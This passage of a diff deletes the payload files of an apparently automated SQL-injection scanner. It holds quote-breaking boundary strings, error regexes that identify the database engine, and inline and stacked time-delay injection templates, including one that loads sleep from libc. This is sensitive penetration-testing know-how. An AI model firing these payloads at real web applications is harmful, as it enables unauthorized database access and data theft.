<suffix> AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>')))</prefix>
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>%'</prefix>
<suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>'</prefix>
<suffix> AND '[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>4</ptype>
<prefix>")</prefix>
<suffix> AND ("[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>4</ptype>
<prefix>"))</prefix>
<suffix> AND (("[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>1</clause>
<where>1,2</where>
<ptype>4</ptype>
<prefix>")))</prefix>
<suffix> AND ((("[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>4</ptype>
<prefix>"</prefix>
<suffix> AND "[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>5</ptype>
<prefix>")</prefix>
<suffix> AND ("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>1</clause>
<where>1,2</where>
<ptype>5</ptype>
<prefix>"))</prefix>
<suffix> AND (("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>5</ptype>
<prefix>")))</prefix>
<suffix> AND ((("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>5</ptype>
<prefix>"</prefix>
<suffix> AND "[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary>
<level>1</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix></prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix></prefix>
<suffix># [RANDSTR]</suffix>
</boundary>
<!-- e.g. admin' AND [INFERENCE] OR 'foo'='bar' AND password=$password -->
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>'</prefix>
<suffix> OR '[RANDSTR1]'='[RANDSTR2]</suffix>
</boundary>
<!-- End of WHERE/HAVING clause boundaries -->
<!-- Pre-WHERE generic boundaries (e.g. "UPDATE table SET '$_REQUEST["name"]' WHERE id=1" or "INSERT INTO table VALUES('$_REQUEST["value"]') WHERE id=1)"-->
<boundary>
<level>5</level>
<clause>9</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>') WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>9</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix>) WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>9</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1,2</where>
<ptype>4</ptype>
<prefix>" WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>9</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix> WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>'||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)||'</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>'||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)||'</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)+'</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)||</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)||</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>1</ptype>
<prefix>+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)+</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)+</suffix>
</boundary>
<!-- End of pre-WHERE generic boundaries -->
<!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix>)) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>4</ptype>
<prefix>") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix>) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<prefix>`) WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<!-- End of pre-WHERE derived table boundaries -->
<!-- Escaped column name (e.g. SELECT `...` FROM table) boundaries -->
<boundary>
<level>4</level>
<clause>8</clause>
<where>1</where>
<ptype>6</ptype>
<prefix>`=`[ORIGINAL]`</prefix>
<suffix> AND `[ORIGINAL]`=`[ORIGINAL]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>8</clause>
<where>1</where>
<ptype>6</ptype>
<prefix>"="[ORIGINAL]"</prefix>
<suffix> AND "[ORIGINAL]"="[ORIGINAL]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>8</clause>
<where>1</where>
<ptype>6</ptype>
<prefix>]-(SELECT 0 WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)|[[ORIGINAL]</suffix>
</boundary>
<!-- End of escaped column name boundaries -->
<!-- AGAINST boolean full-text search boundaries (http://dev.mysql.com/doc/refman/5.5/en/fulltext-boolean.html) -->
<boundary>
<level>4</level>
<clause>1</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>' IN BOOLEAN MODE)</prefix>
<suffix>#</suffix>
</boundary>
<!-- End of AGAINST boolean full-text search boundaries -->
</root>
-234
View File
@@ -1,234 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<dbms value="MySQL">
<error regexp="SQL syntax.*?MySQL"/>
<error regexp="Warning.*?\Wmysqli?_"/>
<error regexp="MySQLSyntaxErrorException"/>
<error regexp="valid MySQL result"/>
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
<error regexp="MySqlClient\."/>
<error regexp="com\.mysql\.jdbc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
<error regexp="Pdo[./_\\]Mysql"/>
<error regexp="MySqlException"/>
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
</dbms>
<dbms value="PostgreSQL">
<error regexp="PostgreSQL.*?ERROR"/>
<error regexp="Warning.*?\Wpg_"/>
<error regexp="valid PostgreSQL result"/>
<error regexp="Npgsql\."/>
<error regexp="PG::SyntaxError:"/>
<error regexp="org\.postgresql\.util\.PSQLException"/>
<error regexp="ERROR:\s\ssyntax error at or near"/>
<error regexp="ERROR: parser: parse error at or near"/>
<error regexp="PostgreSQL query failed"/>
<error regexp="org\.postgresql\.jdbc"/>
<error regexp="Pdo[./_\\]Pgsql"/>
<error regexp="PSQLException"/>
</dbms>
<dbms value="Microsoft SQL Server">
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
<error regexp="OLE DB.*? SQL Server"/>
<error regexp="\bSQL Server[^&lt;&quot;]+Driver"/>
<error regexp="Warning.*?\W(mssql|sqlsrv)_"/>
<error regexp="\bSQL Server[^&lt;&quot;]+[0-9a-fA-F]{8}"/>
<error regexp="System\.Data\.SqlClient\.(SqlException|SqlConnection\.OnError)"/>
<error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/>
<error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/>
<error regexp="\[SQL Server\]"/>
<error regexp="ODBC SQL Server Driver"/>
<error regexp="ODBC Driver \d+ for SQL Server"/>
<error regexp="SQLServer JDBC Driver"/>
<error regexp="com\.jnetdirect\.jsql"/>
<error regexp="macromedia\.jdbc\.sqlserver"/>
<error regexp="Zend_Db_(Adapter|Statement)_Sqlsrv_Exception"/>
<error regexp="com\.microsoft\.sqlserver\.jdbc"/>
<error regexp="Pdo[./_\\](Mssql|SqlSrv)"/>
<error regexp="SQL(Srv|Server)Exception"/>
<error regexp="Unclosed quotation mark after the character string"/>
</dbms>
<dbms value="Microsoft Access">
<error regexp="Microsoft Access (\d+ )?Driver"/>
<error regexp="JET Database Engine"/>
<error regexp="Access Database Engine"/>
<error regexp="ODBC Microsoft Access"/>
<error regexp="Syntax error \(missing operator\) in query expression"/>
</dbms>
<dbms value="Oracle">
<error regexp="\bORA-\d{5}"/>
<error regexp="Oracle error"/>
<error regexp="Oracle.*?Driver"/>
<error regexp="Warning.*?\W(oci|ora)_"/>
<error regexp="quoted string not properly terminated"/>
<error regexp="SQL command not properly ended"/>
<error regexp="macromedia\.jdbc\.oracle"/>
<error regexp="oracle\.jdbc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
<error regexp="Pdo[./_\\](Oracle|OCI)"/>
<error regexp="OracleException"/>
</dbms>
<dbms value="IBM DB2">
<error regexp="CLI Driver.*?DB2"/>
<error regexp="DB2 SQL error"/>
<error regexp="\bdb2_\w+\("/>
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
<error regexp="com\.ibm\.db2\.jcc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
<error regexp="Pdo[./_\\]Ibm"/>
<error regexp="DB2Exception"/>
<error regexp="ibm_db_dbi\.ProgrammingError"/>
</dbms>
<dbms value="Informix">
<error regexp="Warning.*?\Wifx_"/>
<error regexp="Exception.*?Informix"/>
<error regexp="Informix ODBC Driver"/>
<error regexp="ODBC Informix driver"/>
<error regexp="com\.informix\.jdbc"/>
<error regexp="weblogic\.jdbc\.informix"/>
<error regexp="Pdo[./_\\]Informix"/>
<error regexp="IfxException"/>
</dbms>
<!-- Interbase/Firebird -->
<dbms value="Firebird">
<error regexp="Dynamic SQL Error"/>
<error regexp="Warning.*?\Wibase_"/>
<error regexp="org\.firebirdsql\.jdbc"/>
<error regexp="Pdo[./_\\]Firebird"/>
</dbms>
<dbms value="SQLite">
<error regexp="SQLite/JDBCDriver"/>
<error regexp="SQLite\.Exception"/>
<error regexp="(Microsoft|System)\.Data\.SQLite\.SQLiteException"/>
<error regexp="Warning.*?\W(sqlite_|SQLite3::)"/>
<error regexp="\[SQLITE_ERROR\]"/>
<error regexp="SQLite error \d+:"/>
<error regexp="sqlite3.OperationalError:"/>
<error regexp="SQLite3::SQLException"/>
<error regexp="org\.sqlite\.JDBC"/>
<error regexp="Pdo[./_\\]Sqlite"/>
<error regexp="SQLiteException"/>
</dbms>
<dbms value="SAP MaxDB">
<error regexp="SQL error.*?POS([0-9]+)"/>
<error regexp="Warning.*?\Wmaxdb_"/>
<error regexp="DriverSapDB"/>
<error regexp="-3014.*?Invalid end of SQL statement"/>
<error regexp="com\.sap\.dbtech\.jdbc"/>
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
</dbms>
<dbms value="Sybase">
<error regexp="Warning.*?\Wsybase_"/>
<error regexp="Sybase message"/>
<error regexp="Sybase.*?Server message"/>
<error regexp="SybSQLException"/>
<error regexp="Sybase\.Data\.AseClient"/>
<error regexp="com\.sybase\.jdbc"/>
</dbms>
<dbms value="Ingres">
<error regexp="Warning.*?\Wingres_"/>
<error regexp="Ingres SQLSTATE"/>
<error regexp="Ingres\W.*?Driver"/>
<error regexp="com\.ingres\.gcf\.jdbc"/>
</dbms>
<dbms value="FrontBase">
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
<error regexp="com\.frontbase\.jdbc"/>
<error regexp="Syntax error 1. Missing"/>
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/>
</dbms>
<dbms value="HSQLDB">
<error regexp="Unexpected end of command in statement \["/>
<error regexp="Unexpected token.*?in statement \["/>
<error regexp="org\.hsqldb\.jdbc"/>
</dbms>
<dbms value="H2">
<error regexp="org\.h2\.jdbc"/>
<error regexp="\[42000-192\]"/>
</dbms>
<dbms value="MonetDB">
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
<error regexp="\[MonetDB\]\[ODBC Driver"/>
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
</dbms>
<dbms value="Apache Derby">
<error regexp="Syntax error: Encountered"/>
<error regexp="org\.apache\.derby"/>
<error regexp="ERROR 42X01"/>
</dbms>
<dbms value="Vertica">
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
<error regexp="/vertica/Parser/scan"/>
<error regexp="com\.vertica\.jdbc"/>
<error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
<error regexp="com\.vertica\.dsi\.dataengine"/>
</dbms>
<dbms value="Mckoi">
<error regexp="com\.mckoi\.JDBCDriver"/>
<error regexp="com\.mckoi\.database\.jdbc"/>
<error regexp="&lt;REGEX_LITERAL&gt;"/>
</dbms>
<dbms value="Presto">
<error regexp="com\.facebook\.presto\.jdbc"/>
<error regexp="io\.prestosql\.jdbc"/>
<error regexp="com\.simba\.presto\.jdbc"/>
<error regexp="UNION query has different number of fields: \d+, \d+"/>
</dbms>
<dbms value="Altibase">
<error regexp="Altibase\.jdbc\.driver"/>
</dbms>
<dbms value="MimerSQL">
<error regexp="com\.mimer\.jdbc"/>
<error regexp="Syntax error,[^\n]+assumed to mean"/>
</dbms>
<dbms value="CrateDB">
<error regexp="io\.crate\.client\.jdbc"/>
</dbms>
<dbms value="Cache">
<error regexp="encountered after end of query"/>
<error regexp="A comparison operator is required here"/>
</dbms>
<dbms value="Raima Database Manager">
<error regexp="-10048: Syntax error"/>
<error regexp="rdmStmtPrepare\(.+?\) returned"/>
</dbms>
<dbms value="Virtuoso">
<error regexp="SQ074: Line \d+:"/>
<error regexp="SR185: Undefined procedure"/>
<error regexp="SQ200: No table "/>
<error regexp="Virtuoso S0002 Error"/>
<error regexp="\[(Virtuoso Driver|Virtuoso iODBC Driver)\]\[Virtuoso Server\]"/>
</dbms>
</root>
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
-137
View File
@@ -1,137 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- Inline queries tests -->
<test>
<title>Generic inline queries</title>
<stype>3</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
<request>
<payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
</test>
<test>
<title>MySQL inline queries</title>
<stype>3</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
<request>
<payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>PostgreSQL inline queries</title>
<stype>3</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]')</vector>
<request>
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>PostgreSQL</dbms>
</details>
</test>
<test>
<title>Microsoft SQL Server/Sybase inline queries</title>
<stype>3</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
<request>
<payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<test>
<title>Oracle inline queries</title>
<stype>3</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
<request>
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>SQLite inline queries</title>
<stype>3</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
<request>
<payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>SQLite</dbms>
</details>
</test>
<test>
<title>Firebird inline queries</title>
<stype>3</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE</vector>
<request>
<payload>SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Firebird</dbms>
</details>
</test>
<!-- End of inline queries tests -->
</root>
-730
View File
@@ -1,730 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- Stacked queries tests -->
<test>
<title>MySQL &gt;= 5.0.12 stacked queries (comment)</title>
<stype>4</stype>
<level>2</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<request>
<payload>;SELECT SLEEP([SLEEPTIME])</payload>
<comment>#</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.0.12 stacked queries</title>
<stype>4</stype>
<level>3</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<request>
<payload>;SELECT SLEEP([SLEEPTIME])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP - comment)</title>
<stype>4</stype>
<level>3</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<comment>#</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP)</title>
<stype>4</stype>
<level>4</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &lt; 5.0.12 stacked queries (BENCHMARK - comment)</title>
<stype>4</stype>
<level>3</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>
<request>
<payload>;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))</payload>
<comment>#</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL &lt; 5.0.12 stacked queries (BENCHMARK)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>
<request>
<payload>;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>PostgreSQL &gt; 8.1 stacked queries (comment)</title>
<stype>4</stype>
<level>1</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
<request>
<payload>;SELECT PG_SLEEP([SLEEPTIME])</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>PostgreSQL</dbms>
<dbms_version>&gt; 8.1</dbms_version>
</details>
</test>
<test>
<title>PostgreSQL &gt; 8.1 stacked queries</title>
<stype>4</stype>
<level>4</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
<request>
<payload>;SELECT PG_SLEEP([SLEEPTIME])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>PostgreSQL</dbms>
<dbms_version>&gt; 8.1</dbms_version>
</details>
</test>
<test>
<title>PostgreSQL stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>2</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
<request>
<payload>;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)</payload>
<comment>--</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>PostgreSQL</dbms>
</details>
</test>
<test>
<title>PostgreSQL stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
<request>
<payload>;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>PostgreSQL</dbms>
</details>
</test>
<test>
<title>PostgreSQL &lt; 8.2 stacked queries (Glibc - comment)</title>
<stype>4</stype>
<level>3</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
<request>
<payload>;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>PostgreSQL</dbms>
<dbms_version>&lt; 8.2</dbms_version>
<os>Linux</os>
</details>
</test>
<test>
<title>PostgreSQL &lt; 8.2 stacked queries (Glibc)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
<request>
<payload>;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>PostgreSQL</dbms>
<dbms_version>&lt; 8.2</dbms_version>
<os>Linux</os>
</details>
</test>
<test>
<title>Microsoft SQL Server/Sybase stacked queries (comment)</title>
<stype>4</stype>
<level>1</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
<request>
